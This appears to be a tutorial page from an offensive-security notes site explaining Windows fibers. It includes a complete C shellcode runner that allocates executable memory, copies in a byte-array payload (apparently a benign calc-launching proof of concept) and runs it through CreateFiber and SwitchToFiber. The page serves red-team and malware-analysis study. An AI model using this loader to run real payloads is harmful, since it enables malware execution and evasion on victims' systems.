Thread2Fiber

Converting main thread to fiber for code execution

Fibers

Fibers are a type of execution unit that an application must schedule manually. They are essentially a snapshot of the register and stack states, allowing them to be swapped in and out as needed. A thread can only run one fiber at a time, but fibers can be switched during execution, with the switching fully controlled by the application.

Fibers can also manage their own data. A pointer to this fiber-specific data is stored in TEB->NtTib.FiberData, which is a structure associated with each thread. This pointer is set when ConvertThreadToFiber is called.

Thread2Fiber.c
#include <Windows.h>
#include <stdio.h>

unsigned char payload[] = {
	0x6A, 0x60, 0x5A, 0x68, 0x63, 0x61, 0x6C, 0x63, 0x54, 0x59, 0x48, 0x29, 0xD4, 0x65, 0x48, 0x8B,
	0x32, 0x48, 0x8B, 0x76, 0x18, 0x48, 0x8B, 0x76, 0x10, 0x48, 0xAD, 0x48, 0x8B, 0x30, 0x48, 0x8B,
	0x7E, 0x30, 0x03, 0x57, 0x3C, 0x8B, 0x5C, 0x17, 0x28, 0x8B, 0x74, 0x1F, 0x20, 0x48, 0x01, 0xFE,
	0x8B, 0x54, 0x1F, 0x24, 0x0F, 0xB7, 0x2C, 0x17, 0x8D, 0x52, 0x02, 0xAD, 0x81, 0x3C, 0x07, 0x57,
	0x69, 0x6E, 0x45, 0x75, 0xEF, 0x8B, 0x74, 0x1F, 0x1C, 0x48, 0x01, 0xFE, 0x8B, 0x34, 0xAE, 0x48,
	0x01, 0xF7, 0x99, 0xFF, 0xD7 };

int main()
{
	// convert current running thread to fiber (the main process thread)
	PVOID Mainfiber = ConvertThreadToFiber(NULL);

	PVOID payload_addr = VirtualAlloc(0, sizeof(payload), MEM_COMMIT, PAGE_EXECUTE_READWRITE);

	memcpy(payload_addr, payload, sizeof(payload));


	PVOID FiberWithShellcode = CreateFiber(NULL, (LPFIBER_START_ROUTINE)payload_addr, NULL);

	// switch from main fiber to the shellcode fiber and execute it
	SwitchToFiber(FiberWithShellcode);
	return 0;
}

Setting a breakpoint on ConvertThreadToFiber:

We see a call to this API for conversion:

Following the call to ConvertThread2Fiber, we see that the rest of program execution flow happens in user mode address space:

References


Code Samples

Code snippets are available on GitHub:

Last updated

Was this helpful?